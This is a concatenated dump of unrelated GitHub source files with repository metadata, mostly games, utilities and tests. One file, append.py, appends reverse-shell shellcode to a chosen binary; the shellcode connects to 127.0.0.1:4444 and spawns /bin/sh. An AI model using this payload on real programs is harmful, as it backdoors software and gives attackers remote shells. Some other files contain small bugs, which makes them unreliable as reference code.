scripts.match.init_parser(subparsers)
scripts.trim.init_parser(subparsers)
args = parser.parse_args()
args = args.parse(args)
args.run(args)
| [
"noreply@github.com"
] | ggirelli.noreply@github.com |
d8d75f9cd736c02ebfc0300cba70b6931cb27601 | c8a0505175fdddda7481fc7c3f7ff58f85702b91 | /others/area_of_trapezoid.py | db8502fffa6a350b73dd42047516b778febaf206 | [] | no_license | fortune2009/python-exercises | 9f8f649576f8d012e3f2358d3a54f51d1e204dc9 | c10da8b6d0e8f056ef6e801a0e8f9b9e2f79071a | refs/heads/master | 2022-05-27T09:13:55.416541 | 2020-05-03T15:06:29 | 2020-05-03T15:06:29 | 257,142,200 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 239 | py | #X and Y meters for a trapezoid
#refactor code later to collect input from user
#make use of a sentinel control
x_meters = 5
y_meters = 7
height = 8
area = 0.5 * (x_meters + y_meters) * height
print('The area of a trapezoid is: ',area)
| [
"fortunekbz2009@gmail.com"
] | fortunekbz2009@gmail.com |
0da0ebf65f5d51c72ebfcc51a45a75e658be8978 | 0733f47cd0a25b622b1a60fb9243f70fad040540 | /Platformer/scripts/scenes/TestEngine.py | 5df7cd6d1c18d0efd4c08a5b04a9683d4f2f13d9 | [] | no_license | KingdomPy/Pygame-Demos | ef4f96d8d56156823961ba6f7c246eb8f257c77e | aa5dfde6e3a36c6ec3a03738c723dd65eec0cfff | refs/heads/main | 2022-12-30T03:18:40.404546 | 2020-10-06T16:13:34 | 2020-10-06T16:13:34 | 301,782,068 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 16,449 | py | import pygame
import math
import json
from tkinter import Tk
from tkinter import filedialog
from scripts import filePath
from scripts.entities import EntityController, TileController
asset_path = filePath.setPath(filePath.getRootFolder(2), ["assets"])
assets_tiles = [
pygame.image.load(filePath.setPath(asset_path, ["maps", "grass.png"])).convert_alpha(),
pygame.image.load(filePath.setPath(asset_path, ["maps", "rock.png"])).convert_alpha(),
pygame.image.load(filePath.setPath(asset_path, ["maps", "background.png"])).convert_alpha(),
pygame.image.load(filePath.setPath(asset_path, ["maps", "spawn.png"])).convert_alpha(),
pygame.image.load(filePath.setPath(asset_path, ["maps", "goal.png"])).convert_alpha(),
]
assets_hud = [
pygame.image.load(filePath.setPath(asset_path, ["map maker", "import.png"])).convert(),
pygame.image.load(filePath.setPath(asset_path, ["map maker", "export.png"])).convert(),
]
assets_fonts = [
filePath.setPath(asset_path, ["fonts", "Coda-Regular.ttf"]),
]
def collide_rect(rect1, rect2):
x1, y1, w1, l1 = rect1
x2, y2, w2, l2 = rect2
x_collision = (x1 <= x2 <= x1+w1) or (x1 <= x2+w2 <= x1+w1) or (x2 <= x1 <= x2+w2) or (x2 <= x1+w1<= x2+w2)
y_collision = (y1 <= y2 <= y1+l1) or (y1 <= y2+l2 <= y1+l1) or (y2 <= y1 <= y2+l2) or (y2 <= y1+l1 <= y2+l2)
if x_collision and y_collision:
return True
return False
class Scene:
def __init__(self, resolution, fps, debug, data=None):
self.resolution = resolution
self.debug = debug
self.resolution_scale = resolution[0] / 3200
self.player = EntityController.Entity()
self.player.scale_entity(self.resolution_scale)
self.assistant = EntityController.Entity()
self.assistant.scale_entity(self.resolution_scale)
self.main_camera = Camera(resolution, debug)
self.main_camera.following = self.player
split_resolution = (resolution[0] / 2, resolution[1] / 2)
self.split_camera_1 = Camera(split_resolution, debug)
self.split_camera_1.change_zoom(self.split_camera_1.camera_zoom * 0.5)
self.split_camera_1.following = self.player
self.split_camera_2 = Camera(split_resolution, debug)
self.split_camera_2.change_zoom(self.split_camera_2.camera_zoom * 0.5)
self.split_camera_2.following = self.assistant
self.half_surface_1 = pygame.Surface(split_resolution)
self.half_surface_2 = pygame.Surface(split_resolution)
self.display_mode = 0 # 0, 1 = single, split screen
self.entities = [self.player, self.assistant]
self.tile_size = 100 # width, length = 100
self.chunk_size = 1000 # width, length = 1200
self.tile_map = []
self.spawn = (0, 0)
self.goal = (0, 0)
self.chunks = [[(0, 0)]]
while self.chunks == [[(0, 0)]]:
self.import_tile_map()
self.player.x = self.spawn[0]
self.player.y = self.spawn[1] + self.player.length * 2
self.assistant.x = self.spawn[0]
self.assistant.y = self.spawn[1] + self.assistant.length * 2
self.main_camera.tile_map = self.tile_map
self.split_camera_1.tile_map = self.tile_map
self.split_camera_2.tile_map = self.tile_map
self.main_font = pygame.font.Font(assets_fonts[0], int(16 + 8 * self.resolution_scale))
self.background = pygame.image.load("assets/maps/test.png").convert()
def resize_assets(self):
self.main_font = pygame.font.Font(assets_fonts[0], int(16 + 8 * self.resolution_scale))
def import_tile_map(self):
root = Tk()
root.withdraw()
path = filedialog.askopenfilename(filetypes=(("Text Files", ".json .txt"), ))
if path != "":
with open(path, 'r', encoding='utf-8-sig') as file:
data = json.loads(file.read())
tile_map = data["tile_map"]
scale = self.resolution[0] / 3200
for x, y, sprite_code in tile_map:
x -= self.tile_size * scale
tile = TileController.Tile(self.tile_size, self.tile_size, sprite_code)
tile.x, tile.y = x, y
if sprite_code == 2:
tile.collidable = False
elif sprite_code == 3:
tile.collidable = False
tile.visible = False
self.spawn = (x, y)
elif sprite_code == 4:
self.goal = (x, y)
chunk_x = x // self.chunk_size
chunk_y = y // self.chunk_size
for chunk in self.chunks:
found = False
if chunk[0] == (chunk_x, chunk_y):
chunk.append(tile)
found = True
break
if not found:
self.chunks.append([(chunk_x, chunk_y), tile])
for chunk in self.chunks:
chunk[0] = (chunk[0][0] * self.chunk_size, chunk[0][1] * self.chunk_size)
root.destroy()
def update(self, surface, events, dt, current_fps):
dt /= 1000
if self.display_mode == 0:
surface.fill((255, 255, 255))
elif self.display_mode == 1:
self.half_surface_1.fill((255, 255, 255))
self.half_surface_2.fill((255, 255, 255))
surface.blit(self.background, (0, 0))
keys = pygame.key.get_pressed()
if keys[pygame.K_w]:
self.player.w_pressed = True
if keys[pygame.K_a]:
self.player.a_pressed = True
if keys[pygame.K_d]:
self.player.d_pressed = True
if keys[pygame.K_UP]:
self.assistant.w_pressed = True
if keys[pygame.K_LEFT]:
self.assistant.a_pressed = True
if keys[pygame.K_RIGHT]:
self.assistant.d_pressed = True
for event in events:
if event.type == pygame.KEYDOWN:
if event.key == pygame.K_ESCAPE:
return "switch", "map creator", []
if event.key == pygame.K_SPACE:
self.display_mode += 1
self.display_mode %= 2
camera_chunk_data = []
camera_entity_data = []
split_camera_1_entity_data = []
split_camera_1_chunk_data = []
split_camera_2_entity_data = []
split_camera_2_chunk_data = []
for entity in self.entities:
entity.update(dt)
my_rect = entity.get_rect()
for chunk in self.chunks:
chunk_x, chunk_y = chunk[0]
chunk_rect = (chunk_x, chunk_y, self.chunk_size, self.chunk_size)
if collide_rect(my_rect, chunk_rect):
for i in range(1, len(chunk)):
tile = chunk[i]
if tile.collidable:
distance = math.sqrt((entity.x - tile.x) ** 2 + (entity.y - tile.y) ** 2) - entity.width - tile.width
if tile.angle == 0 and entity.angle == 0 and distance <= 0:
tile_rect = tile.get_rect()
if collide_rect(my_rect, tile_rect):
if tile.sprite_code == 4:
entity.x = self.spawn[0]
entity.y = self.spawn[1] + entity.length * 2
else:
x_overlap = min(abs((tile.x + tile.width / 2) - (entity.x - entity.width / 2)),
abs((entity.x + entity.width / 2) - (tile.x - tile.width / 2)))
y_overlap = min(abs((tile.y + tile.length / 2) - (entity.y - entity.length / 2)),
abs((entity.y + entity.length / 2) - (tile.y - tile.length / 2)))
if abs(x_overlap) < abs(y_overlap): # Shift the x
if entity.x < tile.x:
entity.touching_right_wall = True
entity.x -= x_overlap
else:
entity.touching_left_wall = True
entity.x += x_overlap
else: # Shift the y
if entity.y < tile.y:
entity.touching_ceiling = True
entity.fall_velocity = 0
entity.y -= y_overlap
else:
entity.touching_ground = True
entity.y += y_overlap
my_rect = entity.get_rect()
position, radius = entity.get_position(), entity.width / 2
if self.display_mode == 0:
if self.main_camera.in_camera(position, radius):
camera_entity_data.append(entity.get_polygon())
elif self.display_mode == 1:
if self.split_camera_1.in_camera(position, radius):
split_camera_1_entity_data.append(entity.get_polygon())
if self.split_camera_2.in_camera(position, radius):
split_camera_2_entity_data.append(entity.get_polygon())
if self.display_mode == 0:
for chunk in self.chunks:
x, y = chunk[0][0] + self.chunk_size / 2, chunk[0][1] + self.chunk_size / 2
if self.main_camera.in_camera((x, y), self.chunk_size / 2):
camera_chunk_data.append(chunk)
self.main_camera.update(dt)
self.main_camera.update_screen(surface, camera_chunk_data, camera_entity_data)
text = self.main_font.render("FPS:" + str(current_fps), True, (0, 0, 0))
surface.blit(text, (10, 10))
elif self.display_mode == 1:
for chunk in self.chunks:
x, y = chunk[0][0] + self.chunk_size / 2, chunk[0][1] + self.chunk_size / 2
if self.split_camera_1.in_camera((x, y), self.chunk_size / 2):
split_camera_1_chunk_data.append(chunk)
if self.split_camera_2.in_camera((x, y), self.chunk_size / 2):
split_camera_2_chunk_data.append(chunk)
self.split_camera_1.update(dt)
self.split_camera_1.update_screen(self.half_surface_1, split_camera_1_chunk_data, split_camera_1_entity_data)
surface.blit(self.half_surface_1, (self.resolution[0] / 4, 0))
self.split_camera_2.update(dt)
self.split_camera_2.update_screen(self.half_surface_2, split_camera_2_chunk_data, split_camera_2_entity_data)
surface.blit(self.half_surface_2, (self.resolution[0] / 4, self.resolution[1] / 2))
text = self.main_font.render("FPS:"+str(current_fps), True, (0, 0, 0))
surface.blit(text, (self.resolution[0] / 4 + 10, 10))
return 0
class Camera:
def __init__(self, resolution, debug):
self.resolution = resolution
self.resolution_scale = resolution[0] / 3200
self.center_x = resolution[0] / 2
self.center_y = resolution[1] / 2
self.debug = debug
self.camera_speed = 270
self.camera_zoom = 1 * resolution[0] / 3200
self.max_zoom = 8 * resolution[0] / 3200
self.min_zoom = 0.1 * resolution[0] / 3200
self.following = None
self.x, self.y, self.angle = 0, 0, 0
self.tile_map_name = "Untitled"
self.tile_map = []
self.tiles = []
self.display_tiles = []
self.display_assets = []
self.tile_size = 100
self.display_size = self.tile_size * 2/3
self.main_font = pygame.font.Font(assets_fonts[0], int(16 + 8 * self.resolution_scale))
self.resize_assets()
def resize_assets(self):
self.main_font = pygame.font.Font(assets_fonts[0], int(16 + 8 * self.resolution_scale))
scale = round(self.display_size)
self.display_tiles = []
for tile in assets_tiles:
tile = pygame.transform.smoothscale(tile, (scale, scale))
self.display_tiles.append(tile)
for asset in assets_hud:
asset = pygame.transform.smoothscale(asset, (scale, scale))
self.display_assets.append(asset)
self.resize_tiles()
def resize_tiles(self):
scale = round(self.tile_size * self.camera_zoom)
self.tiles = []
for tile in assets_tiles:
tile = pygame.transform.smoothscale(tile, (scale, scale))
self.tiles.append(tile)
def move_forward(self, dt):
self.x += math.cos(self.angle) * self.camera_speed * dt
self.y += math.sin(self.angle) * self.camera_speed * dt
def move_fixed(self, distance):
self.x += math.cos(self.angle) * distance
self.y += math.sin(self.angle) * distance
def point_in_direction(self, x_dif, y_dif):
if y_dif < 0:
self.angle = - math.pi / 2 - math.atan(x_dif / y_dif)
else:
if y_dif != 0:
self.angle = math.pi / 2 - math.atan(x_dif / y_dif)
elif y_dif == 0:
if x_dif < 0:
self.angle = -math.pi
else:
self.angle = math.pi
def point_to(self, x, y):
self.point_in_direction(x - self.x, y - self.y)
def in_camera(self, position, radius):
x_dif = abs(self.x - position[0])
y_dif = abs(self.y - position[1])
if x_dif - radius < self.center_x / self.camera_zoom and y_dif - radius < self.center_y / self.camera_zoom:
return 1
return 0
def change_zoom(self, zoom):
self.camera_zoom += zoom
if self.camera_zoom > self.max_zoom:
self.camera_zoom = self.max_zoom
elif self.camera_zoom < self.min_zoom:
self.camera_zoom = self.min_zoom
self.resize_tiles()
def update(self, dt):
if self.following is not None:
target_x, target_y = self.following.get_position()
self.point_to(target_x, target_y)
distance = math.sqrt((self.x - target_x) ** 2 + (self.y - target_y) ** 2)
step = distance / 64 * dt
if distance - step > 0:
self.move_forward(step)
else:
self.move_fixed(distance)
def update_screen(self, surface, chunk_data, entity_data):
chunk_count = 0
tile_count = 0
for chunk in chunk_data:
chunk_count += 1
for i in range(1, len(chunk)):
tile = chunk[i]
if tile.visible:
if self.in_camera(tile.get_position(), tile.width / 2):
tile_count += 1
image = self.tiles[tile.sprite_code]
width = tile.width * self.camera_zoom
length = tile.length * self.camera_zoom
screen_x = self.center_x - (self.x - tile.x) * self.camera_zoom
screen_y = self.center_y + (self.y - tile.y) * self.camera_zoom
surface.blit(image, (screen_x - width / 2, screen_y - length / 2))
if self.debug:
pygame.draw.rect(surface, (0, 0, 0), (screen_x - width / 2, screen_y - length / 2, width, length), 5)
for polygon in entity_data:
points = []
for x, y in polygon:
screen_x = self.center_x - (self.x - x) * self.camera_zoom
screen_y = self.center_y + (self.y - y) * self.camera_zoom
points.append((screen_x, screen_y))
pygame.draw.polygon(surface, (0, 0, 0), points)
text = self.main_font.render("CHUNKS:" + str(chunk_count), True, (0, 0, 0))
surface.blit(text, (10, 40))
text = self.main_font.render("TILES:" + str(tile_count), True, (0, 0, 0))
surface.blit(text, (10, 70))
| [
"donmonkey44@gmail.com"
] | donmonkey44@gmail.com |
57edfbafd25590c3a9938f84c2cc09b872853e20 | 276b5e5e810c5d48f6b8196accbcf2f3a3a81605 | /IronPythonExample/PythonScripts/GuessingGame.py | 2f47a868ab193e65894ac9e31f073b32fcbf345b | [
"MIT"
] | permissive | balee323/IronPythonExample | badf6106f19dcdb25f90ffdb7df1b10c7397ea44 | 4418d72ec143b2ff65f3acc56111ba647b228fe8 | refs/heads/master | 2022-11-23T15:06:41.588119 | 2020-07-29T22:04:24 | 2020-07-29T22:04:24 | 283,610,694 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 919 | py | import time
import datetime
class GuessingGame(object):
def __init__(self):
self.guesses = 0
self.number = 0
def start_game(self):
try:
return "Guess a number between 1 and 10"
except Exception as ex:
print("error")
def make_guess(self, value):
self.guesses = self.guesses + 1
if value == self.number:
print("From Script: winner")
return "winner"
else:
print("From Script: guess again")
return "guess again"
def clear_list(self):
self.guesses = 0
def set_number_to_guess(self, value):
self.number = value
#start server if not imported as module
if __name__ == '__main__':
print("game is running as a program")
game = GuessingGame()
response = game.start_game
print(respone)
else:
print("game imported as a module")
| [
"blee@babelstreet.com"
] | blee@babelstreet.com |
723dc5b80d22081ac0a0e803d5a8e888cb76333f | b186830ab8e74452cb2e8ff0188d0a8fa3d15b59 | /areaOfIntersection.py | 626a809e2f9cf6aa7a017300e014806bf952f37b | [] | no_license | cafaray/atco.de-fights | e3a278bd51feb7bee05623eaf20d1ea4db535eb6 | 1304bcabf1f18202c14a20b38144854ef05bf776 | refs/heads/master | 2022-11-26T05:57:37.564504 | 2020-07-28T12:07:01 | 2020-07-28T12:07:01 | 124,416,047 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 785 | py | def areaOfIntersection(shape1, shape2):
cells = 0
for x in range(shape1[1]-shape1[0], shape[1]+shape[0]):
for y in range(shape1[2] - shape1[0], shape[2]+shape[0]):
diff1 = abs(x - shape1[1]) + abs(y - shape1[2])
diff2 = abs(x - shape2[1]) + abs(y - shape2[2])
if diff1 < shape1[0] and diff2 < shape2[0]: cells+=1
return cells
#areaOfIntersection([r1, x1, y1], [r2, x2, y2]) {
#let cells = 0;
#for(let x = x1 - r1; x <= x1 + r1; x++) {
# for(let y = y1 - r1; y <= y1 + r1; y++) {
# const diff1 = Math.abs(x - x1) + Math.abs(y - y1);
# const diff2 = Math.abs(x - x2) + Math.abs(y - y2);
# if(diff1 < r1 && diff2 < r2) cells++;
# }
#}
#return cells; | [
"omash@MacBook-Pro-de-Carlos.local"
] | omash@MacBook-Pro-de-Carlos.local |
ede03f7baa18ff979304f1b42fe3050e1cc57721 | a38d76039efec7b7553ee8a7ab27cf156f687a2c | /venv/bin/pyhtmlizer | fcaa171c6553807569055c37205b3de8d71e2a2f | [] | no_license | LottoDog/paBug_day05 | 0cdd294c01b79f12d055fbc1de6e3c5d1e885d3e | 3742e49943aea554d3749ea0b06a6ea7466dfbb4 | refs/heads/master | 2020-05-30T20:57:12.808103 | 2019-06-03T08:01:24 | 2019-06-03T08:01:24 | 189,961,136 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 426 | #!/home/db/桌面/weichao/paBug_day05/venv/bin/python
# EASY-INSTALL-ENTRY-SCRIPT: 'Twisted==19.2.0','console_scripts','pyhtmlizer'
__requires__ = 'Twisted==19.2.0'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(
load_entry_point('Twisted==19.2.0', 'console_scripts', 'pyhtmlizer')()
)
| [
"1461217709@qq.com"
] | 1461217709@qq.com | |
5eda38602c9897aa34ee18f8b6a594549d4df83c | 4719f3ef5a0d40c4426a4ac8c9307fc4631b8eea | /tests/test_borda.py | 36de3d7b168b9e3a7a42fd7fafbb598650240d4c | [
"MIT"
] | permissive | ozcan-durak/elsim | 08104b9c8820e412d93e9cc91b5e0179151cbec5 | 3e0e53adc1579ba1ab9c429d05d772dad2c6eb5b | refs/heads/master | 2022-12-05T13:23:23.200159 | 2020-08-18T01:09:52 | 2020-08-18T04:25:37 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,681 | py | import random
import numpy as np
import pytest
from hypothesis import given
from hypothesis.strategies import integers, lists, permutations
from elsim.methods import borda
def collect_random_results(method, election):
"""
Run multiple elections with tiebreaker='random' and collect the set of all
winners.
"""
random.seed(47) # Deterministic test
winners = set()
for trial in range(10):
winner = method(election, tiebreaker='random')
assert isinstance(winner, int)
winners.add(winner)
return winners
@pytest.mark.parametrize("tiebreaker", [None, 'random', 'order'])
def test_basic(tiebreaker):
# Standard Tennessee example
# https://en.wikipedia.org/wiki/Template:Tenn_voting_example
Memphis, Nashville, Chattanooga, Knoxville = 0, 1, 2, 3
election = [*42*[[Memphis, Nashville, Chattanooga, Knoxville]],
*26*[[Nashville, Chattanooga, Knoxville, Memphis]],
*15*[[Chattanooga, Knoxville, Nashville, Memphis]],
*17*[[Knoxville, Chattanooga, Nashville, Memphis]],
]
assert borda(election, tiebreaker) == Nashville
# Example from Ques 9
# http://www.yorku.ca/bucovets/4380/exercises/exercises_1_a.pdf
v, w, x, y, z = 0, 1, 2, 3, 4
election = [*11*[[v, w, x, y, z]],
*12*[[w, x, y, z, v]],
*13*[[x, v, w, y, z]],
*14*[[y, w, v, z, x]],
*15*[[z, v, x, w, y]],
]
assert borda(election, tiebreaker) == w
# Manually calculated correct answer
election = [[0, 1, 4, 3, 2],
[4, 2, 3, 1, 0],
[4, 2, 3, 1, 0],
[3, 2, 1, 4, 0],
[2, 0, 3, 1, 4],
[3, 2, 1, 4, 0],
]
assert borda(election, tiebreaker) == 2
# Example from
# https://www3.nd.edu/~apilking/math10170/information/Lectures/Lecture-2.Borda%20Method.pdf
K, H, R = 0, 1, 2
election = [*2*[[K, H, R]],
*3*[[H, R, K]],
*2*[[H, K, R]],
*3*[[R, H, K]],
]
assert borda(election, tiebreaker) == H
# Example from
# http://jlmartin.faculty.ku.edu/~jlmartin/courses/math105-F11/Lectures/chapter1-part2.pdf
A, B, C, D = 0, 1, 2, 3
election = [*14*[[A, B, C, D]],
*10*[[C, B, D, A]],
* 8*[[D, C, B, A]],
* 4*[[B, D, C, A]],
* 1*[[C, D, B, A]],
]
assert borda(election, tiebreaker) == B
election = [*60*[[A, B, C, D]],
*40*[[B, D, C, A]],
]
assert borda(election, tiebreaker) == B
# Table 3.1 from Mackie - Democracy Defended
A, B, C, D, E = 0, 1, 2, 3, 4
election = [*4*[[A, E, D, C, B]],
*3*[[B, C, E, D, A]],
*2*[[C, D, E, B, A]],
]
assert borda(election, tiebreaker) == E # "to E the Borda winner"
# Example from
# https://medium.com/@t2ee6ydscv/how-ranked-choice-voting-elects-extremists-fa101b7ffb8e
r, b, g, o, y = 0, 1, 2, 3, 4
election = [*31*[[r, b, g, o, y]],
* 5*[[b, r, g, o, y]],
* 8*[[b, g, r, o, y]],
* 1*[[b, g, o, r, y]],
* 6*[[g, b, o, r, y]],
* 1*[[g, b, o, y, r]],
* 6*[[g, o, b, y, r]],
* 2*[[o, g, b, y, r]],
* 5*[[o, g, y, b, r]],
* 7*[[o, y, g, b, r]],
*28*[[y, o, g, b, r]],
]
assert borda(election) == g
def test_ties():
# Two-way tie between candidates 1 and 2
election = np.array([[0, 1, 2],
[0, 2, 1],
[1, 2, 0],
[1, 2, 0],
[1, 2, 0],
[2, 1, 0],
[2, 1, 0],
[2, 1, 0],
])
# No tiebreaker:
assert borda(election, tiebreaker=None) is None
# Mode 'order' should always prefer lowest candidate ID
assert borda(election, tiebreaker='order') == 1
# Mode 'random' should choose all tied candidates at random
assert collect_random_results(borda, election) == {1, 2}
# Three-way tie between 0, 1, and 2
election = np.array([[0, 1, 2],
[0, 1, 2],
[0, 1, 2],
[1, 2, 0],
[1, 2, 0],
[1, 2, 0],
[2, 0, 1],
[2, 0, 1],
[2, 0, 1],
])
# No tiebreaker:
assert borda(election, tiebreaker=None) is None
# Mode 'order' should always prefer lowest candidate ID
assert borda(election, tiebreaker='order') == 0
# Mode 'random' should choose all tied candidates at random
assert collect_random_results(borda, election) == {0, 1, 2}
def complete_ranked_ballots(min_cands=3, max_cands=25, min_voters=1,
max_voters=100):
n_cands = integers(min_value=min_cands, max_value=max_cands)
return n_cands.flatmap(lambda n: lists(permutations(range(n)),
min_size=min_voters,
max_size=max_voters))
@pytest.mark.parametrize("tiebreaker", ['random', 'order'])
@given(election=complete_ranked_ballots(min_cands=1, max_cands=25,
min_voters=1, max_voters=100))
def test_legit_winner(election, tiebreaker):
election = np.asarray(election)
n_cands = election.shape[1]
winner = borda(election, tiebreaker)
assert isinstance(winner, int)
assert winner in range(n_cands)
@given(election=complete_ranked_ballots(min_cands=1, max_cands=25,
min_voters=1, max_voters=100))
def test_legit_winner_none(election):
election = np.asarray(election)
n_cands = election.shape[1]
winner = borda(election)
assert isinstance(winner, (int, type(None)))
assert winner in set(range(n_cands)) | {None}
if __name__ == "__main__":
# Run unit tests, in separate process to avoid warnings about cached
# modules, printing output line by line in realtime
from subprocess import Popen, PIPE
with Popen(['pytest',
'--tb=short', # shorter traceback format
'--hypothesis-show-statistics',
str(__file__)], stdout=PIPE, bufsize=1,
universal_newlines=True) as p:
for line in p.stdout:
print(line, end='')
| [
"endolith@gmail.com"
] | endolith@gmail.com |
e3743e1a7d36b624dccc6c3714f1ee5d6660e740 | d832b1ed2bcef2d7d644e5cc5eb333bc23193ce2 | /23.2/sqla-associations-demo/VideoDemo/app.py | 14b63a7edef5d6a715501c0a529a9c47e964ddbe | [] | no_license | sourcery-ai-bot/23_SQL_Alchemy | 90df2be5ddafda7e5d5eb6eed967fb9aedeb3787 | 85114607c52d2fc1804aa6f3723d81ae14836852 | refs/heads/main | 2023-07-12T22:40:50.406064 | 2021-08-30T23:39:58 | 2021-08-30T23:39:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 834 | py | from flask import Flask, request, render_template, redirect, flash, session
from flask_debugtoolbar import DebugToolbarExtension
from models import db, connect_db, Department, Employee, get_directory, get_directory_join, get_directory_join_class, get_directory_all_join, Project, EmployeeProject
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'postgresql:///employees_db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['SQLALCHEMY_ECHO'] = True
app.config['SECRET_KEY'] = "chickenzarecool21837"
app.config['DEBUG_TB_INTERCEPT_REDIRECTS'] = False
debug = DebugToolbarExtension(app)
connect_db(app)
@app.route('/phones')
def list_phones():
"""Renders directory of employees and phone numbers (from dept)"""
emps = Employee.query.all()
return render_template('phones.html', emps=emps)
| [
"52443523+XuXaO415@users.noreply.github"
] | 52443523+XuXaO415@users.noreply.github |
b31675e7258797f946bd870777c6b7467a9630a9 | b8a116bb0702abaa490d0985f2338e4951787402 | /append.py | e9d0ae8028ae4a19950d14429c59dd040f01ac3e | [] | no_license | secretsquirrel/Shmoocon2016 | 322c1b70c42832090ff2c39569d2b5229e58f8c3 | b2355ba8695fdbcb83694963668090ee9350bba6 | refs/heads/master | 2021-01-10T04:15:11.683365 | 2016-01-18T17:24:56 | 2016-01-18T17:24:56 | 49,734,627 | 27 | 5 | null | null | null | null | UTF-8 | Python | false | false | 1,218 | py | import struct
import sys
def append(a_file):
with open(a_file, 'a') as f:
egg_hunter = "\x77\x00\x00\x74\x77\x00\x00\x74"
payload = ("\x55\x48\x89\xe5\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x04\x4c"
"\x89\xc0\x48\x31\xff\x66\xbf\x01\x00\xeb\x1e\x5e\x48\x31\xd2\xb2"
"\x0e\x0f\x05\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x01\x4c\x89"
"\xc0\x31\xff\x0f\x05\x48\x89\xec\x5d\xe8\xdd\xff\xff\xff\x48\x65"
"\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0a")
#127.0.0.1 port 4444
payload = ("\xb8\x61\x00\x00\x02\x6a\x02\x5f\x6a\x01\x5e\x48\x31\xd2\x0f"
"\x05\x49\x89\xc4\x48\x89\xc7\xb8\x62\x00\x00\x02\x48\x31\xf6"
"\x56\x48\xbe\x00\x02\x11\x5c\x7f\x00\x00\x01\x56\x48\x89\xe6"
"\x6a\x10\x5a\x0f\x05\x4c\x89\xe7\xb8\x5a\x00\x00\x02\x48\x31"
"\xf6\x0f\x05\xb8\x5a\x00\x00\x02\x48\xff\xc6\x0f\x05\x48\x31"
"\xc0\xb8\x3b\x00\x00\x02\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e"
"\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2\x52\x57\x48\x89"
"\xe6\x0f\x05")
f.write(egg_hunter)
f.write(struct.pack('>H', len(payload)))
f.write(payload)
if __name__ == "__main__":
try:
append(sys.argv[1])
except:
print "Usage:", str(sys.argv[0]) + " binary"
| [
"jhpitts@gmail.com"
] | jhpitts@gmail.com |
7e2e0c0ba6b7e5a0e6a79bdeb31c25501d57b876 | 9d656910d4e22b4e1bfc136689cc8d5cf02b6619 | /1write_bitzp_and_shuffle.py | 0f7512516d7c7ab6d479e166c15ef73fd8bbe295 | [
"MIT"
] | permissive | daishaoxing/cytotoxicity | ee8227d4d4700d798f1a61cdc18971a32e7ab55f | 74f67b5a0d8e1b06981962a652e2e048634f8b4c | refs/heads/master | 2021-08-20T08:46:50.664188 | 2017-09-19T09:45:44 | 2017-09-19T09:45:44 | 104,055,809 | 1 | 0 | null | 2017-11-28T16:50:37 | 2017-09-19T09:36:49 | Python | UTF-8 | Python | false | false | 1,913 | py | from sklearn.externals import joblib
import pybel
import cPickle
import random
def setOfWords2Vec(vocabList, inputSet):
returnVec = [0]*len(vocabList)
for word in inputSet:
if word in vocabList:
returnVec[vocabList.index(word)] = 1
else: print "the word: %s is not in my Vocabulary!" % word
return returnVec
def get_bits(f1):
mols = list(pybel.readfile("smi",f1));
titles = [x.title for x in mols]
bits = [x.calcfp().bits for x in mols]
return bits,titles
def numtostringlist(inlist):
list1=[]
for i in inlist:
a=str(i)
list1.append(a)
return list1
activebits,activetitles=get_bits('cytotoxicity_active_final.smi')
#####
f1=open('cytotoxicity_inactive_final.smi','r')
f2=open('cytotoxicity_inactive_final_select.smi','w')
aa=f1.readlines()
random_inactive=random.sample(aa, len(activebits))
f2.write(''.join(random_inactive))
f1.close()
f2.close()
####
inactivebits,inactivetitles=get_bits('cytotoxicity_inactive_final_select.smi')
print len(activebits)
print len(inactivebits)
fingerprint=range(1,1025)
alldata=[]
alldatalabel=[]
for i in activebits:
returnVec=setOfWords2Vec(fingerprint,i)
list1=numtostringlist(returnVec)
alldata.append(returnVec)
alldatalabel.append(1)
###
for i in inactivebits:
returnVec=setOfWords2Vec(fingerprint,i)
list1=numtostringlist(returnVec)
alldata.append(returnVec)
alldatalabel.append(0)
data_and_label=[]
for i in range(len(alldata)):
a=[alldata[i],alldatalabel[i]]
data_and_label.append(a)
alldata=[]
alldatalabel=[]
random.shuffle(data_and_label)
for i in range(len(data_and_label)):
alldata.append(data_and_label[i][0])
alldatalabel.append(data_and_label[i][1])
#cPickle.dump(alldata,open("alldata.pkl","wb"))#data = cPickle.load(open("alldata.pkl","rb"))
#cPickle.dump(alldatalabel,open("alldatalabel.pkl","wb"))
joblib.dump(alldata,'alldata.pkl.z') #data = joblib.load('alldata.pkl.z')
joblib.dump(alldatalabel,'alldatalabel.pkl.z')
| [
"noreply@github.com"
] | daishaoxing.noreply@github.com |
5502bfd4c0c120b2cdd499f18d9f837fa7b5bdf7 | d4fc75c97ba5735c192e8d30ce427a4a7f8c2089 | /lab4/main.py | f79821173f0eb494fa7dab61eb83180463a7b5d8 | [] | no_license | aluminium13/sp2 | 20c0eb7d41dffb7acd956dfaef821a87dc2ad41a | f16452e2317e9b45ac7fe3016e9487fcd56bc997 | refs/heads/master | 2020-03-28T09:35:43.204198 | 2019-02-26T19:46:27 | 2019-02-26T19:46:27 | 148,045,295 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 483 | py | from pascal import pascal_lex
from lex import hasNoErrors
from syntax import syntax_analysis
# while (n>0 and b=a[n]) do n:=n-1
# if c!=0 then b:=d else b:=2*a[n];
# b:= d!=0; b:=2*a[n];
# b:= d; b:=2*a[n];
characters = ""
while characters != "q":
characters = input(">")
tokens = pascal_lex(characters)
if hasNoErrors(tokens):
syntax_analysis(tokens)
"""
for token in tokens:
print(token[0] + " "*(7 - len(token[0])) + "| " + token[1])
""" | [
"aluminium_71@outlook.com"
